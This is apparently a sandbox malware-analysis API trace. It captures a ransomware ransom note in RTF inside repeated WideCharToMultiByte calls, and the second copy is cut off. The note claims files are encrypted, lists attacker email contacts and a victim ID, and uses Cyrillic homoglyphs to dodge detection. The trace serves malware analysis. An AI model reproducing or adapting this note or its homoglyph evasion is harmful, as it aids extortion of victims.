cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 